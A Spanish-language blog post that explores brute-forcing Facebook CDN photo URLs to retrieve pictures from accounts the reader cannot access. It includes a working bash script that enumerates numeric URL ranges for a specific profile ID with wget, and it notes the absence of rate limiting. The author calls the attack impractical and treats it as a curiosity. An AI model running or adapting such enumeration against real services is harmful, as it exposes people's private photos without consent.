En el post anterior ya mencioné algunas curiosidades respecto a las url’s de facebook y que información podíamos sacar de ellas; sin embargo sentí que quedaba algo pendiente y es mostrar como es hipotéticamente posible robar fotos de una cuenta a la que no tenemos acceso, mediante la fuerza bruta.
¿Por qué “hipotéticamente”? En el post anterior mostré la siguiente url
https://fbcdn-sphotos-a.akamaihd.net/hphotos-ak-snc6/262207_10150250379330782_639435781_7283246_1748549_n.jpg[/note]
donde el número marcado en rojo corresponde a mi profile id, el cual obviamente es constante, al contrario de todos los demás números que son variables y representan el resultado de algún algoritmo de ordenamiento o algo así. Para los que no lo recuerden o sepan (este blog intenta ser lo más friendly posible) un algoritmo de fuerza bruta, implica ni más ni menos que ir probando todas las combinaciones posibles.
Analizemos esto, tenemos 37 dígitos que varian, siendo los mismos decimales cada dígito tiene 10 combinaciones posibles lo que nos da un 10³⁷ combinaciones aproximadamente. Es más que evidente que es un número bastante grande. Computacionalmente es un número más que accesible que tardara su tiempo dependiendo del poder de cálculo de nuestra computadora, el problema radica en que por cada iteración haremos un pedido al servidor y eso tiene su delay. Multipliquemos este delay por 10³⁷ y más o menos tenemos desde Moisés hasta la actualidad.
Podriamos realizar un ataque a más de un servidor y/o desde más de una pc atacante, pero en definitiva el tiempo necesario para perpetrar dicho ataque seguiría siendo bastante.
Resumiendo, este ataque no tiene practicidad alguna, más que demostrar que hipotéticamente es posible y para resaltar ciertas curiosidades que tiene esta red social.
El Ataque
Antes de realizar un script para perpetrar el ataque de fuerza bruta, indagué un poco los links de mis propias fotos, esperando encontrar algun orden lógico el cual me permita acotar la cantidad de variables y me encontré con una curiosidad. Los links de mis fotos viejas (09-10) poseian otro formato
https://fbcdn-sphotos-a.akamaihd.net/photos-ak-ash1/v254/51/16/639435781/n639435781_450402_9982.jpg
En base a la observación el /51/16 parecería constante así como el /v254 tenía cierta persistencia, pero poniéndonos estrictos podríamos decir que tenemos 26 dígitos que varían, bajamos 11 variables! Sin embargo sigue siendo un número bastante alto.
Por lo que para el script en cuestión tomé ciertas consideraciones al “atacar” a un álbum específico
- /v254/51/16 son contantes
- 45042 posee sólo 10 ciclos de iteración
#!/bin/bash
LOC=/home/alejandro/Escritorio/Facebook
OUTPUT="$LOC/file.txt"
BASE="http://fbcdn-sphotos-a.akamaihd.net/photos-ak-ash1/"
LINK=""
ID=639435781
CONST1=254
CONST2=51
CONST3=16
MIN1=450403
MAX1=450412
MIN2=702
MAX2=3970
while [ $MIN1 -lt $MAX1 ];do
MIN2=702
while [ $MIN2 -lt $MAX2 ];do
LINK=$BASE"v"$CONST1"/"$CONST2"/"$CONST3"/"$ID"/n"$ID"_"$MIN1"_"$MIN2".jpg"
echo $LINK
TEST=$(wget $LINK -o – -q)
if [ "$TEST" != "" ]; then
echo $LINK >> $OUTPUT
fi
let MIN2=$MIN2+1
done
let MIN1=$MIN1+1
done
[/sourcecode]
Colorario
Para resumir, planté la hipótesis de que es posible ejecutar un ataque de fuerza bruta contra los servidores de imágenes de facebook. Usando un caso modelo acotado, demostré que es posible aunque extremadamente impráctico.
Como aprendizaje o curiosidad me queda, que las imágenes están alojadas ‘públicamente’, que las url de las mismas muestran el id de su dueño y una de las cosas más interesantes es que el servidor permite realizar el ataque.
Me resulta curioso como uno es capaz de realizar un gran número de pedidos a direcciones inválidas sin que el servidor detecte un comportamiento sospechoso o si lo hace, no actúe.
NOTA: Al término de esta entrada el script arrojó otro resultado, siendo al momento 4 imágenes en 2 horas 20 min aproximadamente.
Curiosidades de Facebook Reloaded por Alejandro Pernin se encuentra bajo una Licencia Creative Commons Atribución 3.0 Unported.
Que tal, tu primer post me llamó la atención y a partir de ahi hice unas pruebas ampliando lo que iniciastes. Muy buen trabajo, por cierto.
http://rfuentess.blogspot.com/2011/09/la-privacidad-del-material-multimedia.html